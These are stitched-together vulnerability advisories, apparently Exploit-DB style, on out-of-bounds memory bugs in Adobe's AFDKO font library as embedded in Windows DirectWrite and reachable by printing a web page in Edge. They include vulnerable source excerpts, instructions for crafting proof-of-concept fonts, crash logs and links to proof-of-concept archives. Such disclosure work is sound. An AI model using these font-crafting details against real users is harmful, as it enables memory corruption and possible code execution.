A similar Microsoft Edge renderer process crash is also shown below (with Application Verifier enabled for MicrosoftEdgeCP.exe):
--- cut ---
(221c.1250): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!post2GetName+0x25:
00007ffd`100f5475 488b04c8 mov rax,qword ptr [rax+rcx*8] ds:00000247`2b29b000=????????????????
0:039> ? rax
Evaluate expression: 2504690085488 = 00000247`2b29ae70
0:039> ? rcx
Evaluate expression: 50 = 00000000`00000032
0:039> dq rax
00000247`2b29ae70 00000247`2b296ed1 00000247`2b296ed2
00000247`2b29ae80 00000247`2b296ed3 00000247`2b296ed4
00000247`2b29ae90 00000247`2b296ed5 00000247`2b296ed6
00000247`2b29aea0 00000247`2b296ed7 00000247`2b296ed8
00000247`2b29aeb0 00000247`2b296ed9 00000247`2b296eda
00000247`2b29aec0 00000247`2b296edb 00000247`2b296edc
00000247`2b29aed0 00000247`2b296edd 00000247`2b296ede
00000247`2b29aee0 00000247`2b296edf 00000247`2b296ee0
0:039> k
# Child-SP RetAddr Call Site
00 00000044`6973a9e8 00007ffd`100f5b52 DWrite!post2GetName+0x25
01 00000044`6973a9f0 00007ffd`100f5d2b DWrite!readCharSetFromPost+0x1b6
02 00000044`6973aa30 00007ffd`100f9b80 DWrite!readCharset+0x37
03 00000044`6973aa60 00007ffd`100ed7f7 DWrite!cfrBegFont+0x680
04 00000044`6973b500 00007ffd`10083a1f DWrite!AdobeCFF2Snapshot+0x10f
05 00000044`6973ba00 00007ffd`10082ce1 DWrite!FontInstancer::InstanceCffTable+0x163
06 00000044`6973bbf0 00007ffd`1008295e DWrite!FontInstancer::CreateInstanceInternal+0x239
07 00000044`6973be10 00007ffd`100633de DWrite!FontInstancer::CreateInstance+0x182
08 00000044`6973c170 00007ffd`1ca008e3 DWrite!DWriteFontFace::CreateInstancedStream+0x9e
09 00000044`6973c200 00007ffd`1c9f28b9 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
0a 00000044`6973c320 00007ffd`032b8394 d2d1!dxc::CXpsPrintControl::Close+0xc9
0b 00000044`6973c370 00007ffd`03292760 edgehtml!CDXPrintControl::Close+0x44
0c 00000044`6973c3c0 00007ffd`0329784d edgehtml!CTemplatePrinter::EndPrintD2D+0x50
0d 00000044`6973c3f0 00007ffd`0315dc9d edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0e 00000044`6973c420 00007ffd`02d9b665 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
0f 00000044`6973c460 00007ffd`021aab4e edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47101.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
-----=====[ Description ]=====-----
While fuzzing the standard "tx" AFDKO utility using a "tx -cff <input file> /dev/null" command, we have encountered multiple crashes in the CFF Writer (cfw) component of the FDK. These crashes are triggered in the cfwSindexGetString() function in the afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c file:
--- cut ---
148 /* Get string from SRI. */
149 char *cfwSindexGetString(cfwCtx g, SRI index) {
150 sindexCtx h = g->ctx.sindex;
151 if (index < STD_STR_CNT) {
152 return sid2std[index];
153 } else {
154 return &h->strings.array[h->custom.array[index - STD_STR_CNT].iString];
155 }
156 }
--- cut ---
In all cases, the exception is thrown in line 154, and is caused by an out-of-bounds access to h->custom.array[] due to the "index" argument being equal to 65535 (0xffff). For some reproducers, the h->custom dynamic array is correctly initialized and h->custom.array points into a heap allocation; in other cases h->custom is an empty array and h->custom.array has a near-NULL value. Even in the latter case, accessing h->custom.array[65144] translates to an address around 0x7f4c4 (on x86) or 0xfe884 (on x64), both of which can be mapped on many operating systems.
The cfwSindexGetString() function is called from fillNameINDEX() in cffwrite/cffwrite.c:
--- cut ---
845 for (i = 0; i < h->FontSet.cnt; i++) {
846 cff_Font *font = &h->FontSet.array[i];
847 if (font->FDArray.cnt > 0) {
848 char *name =
849 cfwSindexGetString(h->g, (SRI)((font->flags & FONT_CID) ? font->top.cid.CIDFontName.impl : font->FDArray.array[0].dict.FontName.impl));
850 /* 64-bit warning fixed by cast here */
851 h->name.datasize += (long)strlen(name);
852 }
853 }
--- cut ---
We can see that the "index" argument is passed from font->top.cid.CIDFontName.impl or font->FDArray.array[0].dict.FontName.impl. Both CIDFontName and FontName objects are abfString structures, defined in afdko/c/public/lib/api/absfont.h:
--- cut ---
44 typedef struct /* String */
45 {
46 char *ptr; /* ABF_UNSET_PTR */
47 long impl; /* ABF_UNSET_INT */
48 } abfString;
--- cut ---
The "impl" field is used to store a SRI-typed value, which takes the default value of SRI_UNDEF if it is uninitialized or invalid:
--- cut ---
22 #define SRI_UNDEF 0xffff /* SRI of undefined string */
--- cut ---
This indicates that the font name-related structures are not properly initialized before being used to generate the output CFF font. As the string returned by cfwSindexGetString() is later saved to the output file, this out-of-bounds read could lead to the disclosure of the AFDKO client process memory.
-----=====[ Proof of Concept ]=====-----
There are two proof of concept files, poc1.otf and poc2.otf. The first one triggers an access to h->custom.array[65144] for an empty h->custom array, while the second one results in a similar OOB read but with a non-empty h->custom object.
The fonts are specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and a second copy of it with the modified DICT was inserted at the end of the fonts with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.
-----=====[ Crash logs ]=====-----
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc2.otf prints out the following report:
--- cut ---
=================================================================
==253002==ERROR: AddressSanitizer: SEGV on unknown address 0x6210000ffc80 (pc 0x00000058aa1a bp 0x7fffd5742e70 sp 0x7fffd5742e00 T0)
==253002==The signal is caused by a READ memory access.
#0 0x58aa19 in cfwSindexGetString afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c:154:17
#1 0x56fe6c in fillNameINDEX afdko/c/public/lib/source/cffwrite/cffwrite.c:849:17
#2 0x56d37f in initSetSizes afdko/c/public/lib/source/cffwrite/cffwrite.c:896:24
#3 0x567320 in fillSet afdko/c/public/lib/source/cffwrite/cffwrite.c:1085:5
#4 0x5645b5 in cfwEndSet afdko/c/public/lib/source/cffwrite/cffwrite.c:2128:5
#5 0x6ebd6d in cff_EndSet afdko/c/public/lib/source/tx_shared/tx_shared.c:1076:9
#6 0x506b6c in doSingleFileSet afdko/c/tx/source/tx.c:489:5
#7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#9 0x7f19da4782b0 in __libc_start_main
#10 0x41e5b9 in _start
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c:154:17 in cfwSindexGetString
==253002==ABORTING
--- cut ---
A non-instrumented version of "tx" crashes with a SIGSEGV when it reaches an unmapped memory area:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x0000000000424a4c in cfwSindexGetString (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:154
154 return &h->strings.array[h->custom.array[index - STD_STR_CNT].iString];
(gdb) print index
$1 = 65535
(gdb) print h->custom
$2 = {ctx = 0x6fdb90, array = 0x72a580, cnt = 1, size = 260, incr = 1000, func = 0x0}
(gdb) x/10i $rip
=> 0x424a4c <cfwSindexGetString+108>: add (%rcx),%rax
0x424a4f <cfwSindexGetString+111>: mov %rax,-0x8(%rbp)
0x424a53 <cfwSindexGetString+115>: mov -0x8(%rbp),%rax
0x424a57 <cfwSindexGetString+119>: pop %rbp
0x424a58 <cfwSindexGetString+120>: retq
0x424a59: nopl 0x0(%rax)
0x424a60 <cfwSindexAssignSID>: push %rbp
0x424a61 <cfwSindexAssignSID+1>: mov %rsp,%rbp
0x424a64 <cfwSindexAssignSID+4>: mov %si,%ax
0x424a67 <cfwSindexAssignSID+7>: mov %rdi,-0x10(%rbp)
(gdb) info reg $rcx
rcx 0x828d00 8555776
(gdb) x/10gx $rcx
0x828d00: Cannot access memory at address 0x828d00
(gdb) bt
#0 0x0000000000424a4c in cfwSindexGetString (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:154
#1 0x000000000041de69 in fillNameINDEX (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:849
#2 0x000000000041d3f0 in initSetSizes (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:896
#3 0x000000000041b8be in fillSet (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:1085
#4 0x000000000041ae7c in cfwEndSet (g=0x6fd890) at ../../../../../source/cffwrite/cffwrite.c:2128
#5 0x000000000047a79c in cff_EndSet (h=0x6f6010) at ../../../../../source/tx_shared/tx_shared.c:1076
#6 0x000000000040533f in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1a "poc2.otf")
at ../../../../source/tx.c:489
#7 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
#8 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
(gdb)
--- cut ---
A similar Microsoft Edge renderer process crash (but in a slightly different code path) is also shown below:
--- cut ---
(61c8.53dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!cfwSindexGetString+0x27:
00007ffb`29e7a51b 486384c8c8f3ffff movsxd rax,dword ptr [rax+rcx*8-0C38h] ds:000001eb`f4260d20=????????
0:039> ? rax
Evaluate expression: 2112924555616 = 000001eb`f41e1960
0:039> ? rcx
Evaluate expression: 65535 = 00000000`0000ffff
0:039> db rax+rcx*8-c38
000001eb`f4260d20 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
000001eb`f4260d30 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
000001eb`f4260d40 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
000001eb`f4260d50 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
000001eb`f4260d60 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
000001eb`f4260d70 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
000001eb`f4260d80 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
000001eb`f4260d90 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:039> k
# Child-SP RetAddr Call Site
00 00000062`d53eb1d8 00007ffb`29e700d3 DWrite!cfwSindexGetString+0x27
01 00000062`d53eb1e0 00007ffb`29e707d9 DWrite!fillNameINDEX+0x4b
02 00000062`d53eb210 00007ffb`29e702cf DWrite!initSetSizes+0x49
03 00000062`d53eb240 00007ffb`29e7219d DWrite!fillSet+0x163
04 00000062`d53eb2b0 00007ffb`29e62314 DWrite!cfwEndSet+0x51
05 00000062`d53eb2f0 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x23c
06 00000062`d53eb7f0 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
07 00000062`d53eb9d0 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
08 00000062`d53ebbf0 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
09 00000062`d53ebf50 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
0a 00000062`d53ebfe0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
0b 00000062`d53ec100 00007ffb`0f8b50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
0c 00000062`d53ec150 00007ffb`0f88fcb0 edgehtml!CDXPrintControl::Close+0x44
0d 00000062`d53ec1a0 00007ffb`0f8947ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0e 00000062`d53ec1d0 00007ffb`0f76b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0f 00000062`d53ec200 00007ffb`0f3c9175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
10 00000062`d53ec240 00007ffa`f02e68f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
[...]
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47100.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
-----=====[ Description ]=====-----
While fuzzing the standard "tx" AFDKO utility using a "tx -cff <input file> /dev/null" command, we have encountered multiple crashes in the CFF Writer (cfw) component of the FDK. These crashes are triggered in the cfwSindexAssignSID() function in the afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c file:
--- cut ---
158 /* Assign the next custom SID to the specified custom string. */
159 SID cfwSindexAssignSID(cfwCtx g, SRI index) {
160 sindexCtx h = g->ctx.sindex;
161 if (index < STD_STR_CNT) {
162 return index;
163 } else {
164 CustomRec *custom = &h->custom.array[index - STD_STR_CNT];
165 if (custom->sid == SID_UNDEF) {
166 custom->sid = h->nextid++;
167 }
168 return custom->sid;
169 }
170 }
--- cut ---
In all cases, the exception is thrown in line 165, and is caused by an out-of-bounds access to h->custom.array[] due to the "index" argument being equal to 65535 (0xffff). The two different invocations of cfwSindexAssignSID() which trigger the crash are found in the cfwDictFillTop() function in cffwrite/cffwrite_dict.c (lines 520 and 522):
--- cut ---
517 /* ROS */
518 if (top->sup.flags & ABF_CID_FONT) {
519 cfwDictSaveInt(dst,
520 cfwSindexAssignSID(g, (SRI)top->cid.Registry.impl));
521 cfwDictSaveInt(dst,
522 cfwSindexAssignSID(g, (SRI)top->cid.Ordering.impl));
523 cfwDictSaveInt(dst, top->cid.Supplement);
524 cfwDictSaveOp(dst, cff_ROS);
525 }
--- cut ---
The cause of the problem is that the top->cid.Registry.impl and/or top->cid.Ordering.impl fields are set to 0xffff while executing the above code, and they are treated as valid indexes into h->custom.array, even though they contain the special marker values.
The "Registry" and "Ordering" strings are initialized when a cff_ROS operator is encountered while loading an input DICT structure in readDICT (cffread/cffread.c):
--- cut ---
1287 case cff_ROS:
1288 CHKUFLOW(3);
1289 top->cid.Registry.ptr = sid2str(h, (SID)INDEX_INT(0));
1290 top->cid.Ordering.ptr = sid2str(h, (SID)INDEX_INT(1));
1291 top->cid.Supplement = INDEX_INT(2);
1292 h->flags |= CID_FONT;
1293 break;
--- cut ---
Later on, these strings are added to the string index of the output font in cfwDictCopyTop (cffwrite/cffwrite_dict.c):
--- cut ---
193 /* Add strings to index */
194 addString(g, &dst->version);
[...]
204 addString(g, &dst->cid.Registry);
205 addString(g, &dst->cid.Ordering);
206 }
--- cut ---
where addString() is defined as:
--- cut ---
59 /* Add string to string index. */
60 static void addString(cfwCtx g, abfString *str) {
61 str->impl = cfwSindexAddString(g, str->ptr);
62 }
--- cut ---
where in turn cfwSindexAddString() is defined as (cffwrite/cffwrite_sindex.c):
--- cut ---
99 /* Add string. If standard string return its SID, otherwise if in table return
100 existing record index, else add to table and return new record index. If
101 string is empty return SRI_UNDEF. */
102 SRI cfwSindexAddString(cfwCtx g, char *string) {
103 sindexCtx h = g->ctx.sindex;
104 size_t index;
105 StdRec *std;
106
107 if (string == NULL || *string == '\0') {
108 return SRI_UNDEF; /* Reject invalid strings */
109 }
[...]
--- cut ---
As a result, it should be possible to set cid.Registry.impl and/or cid.Ordering.impl to SRI_UNDEF (0xffff) with non-existent or empty strings. The cfwEndFont() function attempts to protect against this situation by checking if the string pointers are not equal to ABF_UNSET_PTR:
--- cut ---
1875 /* Validate CID data */
1876 if (top->cid.Registry.ptr == ABF_UNSET_PTR ||
1877 top->cid.Ordering.ptr == ABF_UNSET_PTR ||
1878 top->cid.Supplement == ABF_UNSET_INT) {
1879 return cfwErrBadDict;
1880 }
--- cut ---
However these checks are insufficient, as it is still possible to make cfwSindexAddString() return SRI_UNDEF for correctly initialized, but empty strings. This results in passing 0xffff as an argument to cfwSindexAssignSID(), which triggers out-of-bounds reads in lines 165 and 168 in cffwrite_sindex.c, and potentially an OOB write in line 166. Under specific conditions, this may lead to memory corruption and arbitrary code execution.
-----=====[ Proof of Concept ]=====-----
The CFF table inside the proof of concept poc.otf font has the strings "Adobe" and "Identity" (corresponding to the Registry and Ordering fields) modified to "\0dobe" and "\0dentity". As the strings appear to be empty to cfwSindexAddString(), the SRI_UNDEF value is returned and later passed to cfwSindexAssignSID(), which triggers a crash.
The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and another, modified CFF table from an external CID-keyed font was added with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.
-----=====[ Crash logs ]=====-----
A 64-bit build of "tx", started with ./tx -cff poc.otf crashes in the following way:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x0000000000424ac2 in cfwSindexAssignSID (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:165
165 if (custom->sid == SID_UNDEF) {
(gdb) print custom
$1 = (CustomRec *) 0x81cb40
(gdb) print custom->sid
Cannot access memory at address 0x81cb48
(gdb) print index
$2 = 65535
(gdb) x/10i $rip
=> 0x424ac2 <cfwSindexAssignSID+98>: movzwl 0x8(%rax),%ecx
0x424ac6 <cfwSindexAssignSID+102>: cmp $0xffff,%ecx
0x424acc <cfwSindexAssignSID+108>: jne 0x424af3 <cfwSindexAssignSID+147>
0x424ad2 <cfwSindexAssignSID+114>: mov -0x20(%rbp),%rax
0x424ad6 <cfwSindexAssignSID+118>: mov 0x90(%rax),%cx
0x424add <cfwSindexAssignSID+125>: mov %cx,%dx
0x424ae0 <cfwSindexAssignSID+128>: add $0x1,%dx
0x424ae4 <cfwSindexAssignSID+132>: mov %dx,0x90(%rax)
0x424aeb <cfwSindexAssignSID+139>: mov -0x28(%rbp),%rax
0x424aef <cfwSindexAssignSID+143>: mov %cx,0x8(%rax)
(gdb) info reg $rax
rax 0x81cb40 8506176
(gdb) bt
#0 0x0000000000424ac2 in cfwSindexAssignSID (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:165
#1 0x0000000000421b94 in cfwDictFillTop (g=0x6fd890, dst=0x71b3f0, top=0x71b148, font0=0x7ffff75b9010, iSyntheticBase=-1)
at ../../../../../source/cffwrite/cffwrite_dict.c:520
#2 0x000000000041b6db in fillSet (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:1059
#3 0x000000000041ae7c in cfwEndSet (g=0x6fd890) at ../../../../../source/cffwrite/cffwrite.c:2128
#4 0x000000000047a79c in cff_EndSet (h=0x6f6010) at ../../../../../source/tx_shared/tx_shared.c:1076
#5 0x000000000040533f in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf")
at ../../../../source/tx.c:489
#6 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
#7 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
(gdb)
--- cut ---
A similar Microsoft Edge renderer process crash is also shown below:
--- cut ---
(4c7c.2a54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!cfwSindexAssignSID+0x21:
00007ffc`c59ea471 663984caccf3ffff cmp word ptr [rdx+rcx*8-0C34h],ax ds:000001b6`7296ed24=????
0:037> ? rcx
Evaluate expression: 65535 = 00000000`0000ffff
0:037> ? rdx
Evaluate expression: 1883117648224 = 000001b6`728ef960
0:037> k
# Child-SP RetAddr Call Site
00 00000080`c43ab518 00007ffc`c59eb0e1 DWrite!cfwSindexAssignSID+0x21
01 00000080`c43ab520 00007ffc`c59e01cd DWrite!cfwDictFillTop+0x179
02 00000080`c43ab570 00007ffc`c59e219d DWrite!fillSet+0x61
03 00000080`c43ab5e0 00007ffc`c59d2314 DWrite!cfwEndSet+0x51
04 00000080`c43ab620 00007ffc`c596157a DWrite!AdobeCFF2Snapshot+0x23c
05 00000080`c43abb20 00007ffc`c5960729 DWrite!FontInstancer::InstanceCffTable+0x212
06 00000080`c43abd00 00007ffc`c596039a DWrite!FontInstancer::CreateInstanceInternal+0x249
07 00000080`c43abf20 00007ffc`c5945a4e DWrite!FontInstancer::CreateInstance+0x192
08 00000080`c43ac280 00007ffc`d4ae61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
09 00000080`c43ac310 00007ffc`d4ad9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
0a 00000080`c43ac430 00007ffc`b4465464 d2d1!dxc::CXpsPrintControl::Close+0xc8
0b 00000080`c43ac480 00007ffc`b443fd30 edgehtml!CDXPrintControl::Close+0x44
0c 00000080`c43ac4d0 00007ffc`b44448bd edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0d 00000080`c43ac500 00007ffc`b431b995 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0e 00000080`c43ac530 00007ffc`b3f79485 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
0f 00000080`c43ac570 00007ffc`b34344c1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
[...]
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47103.zip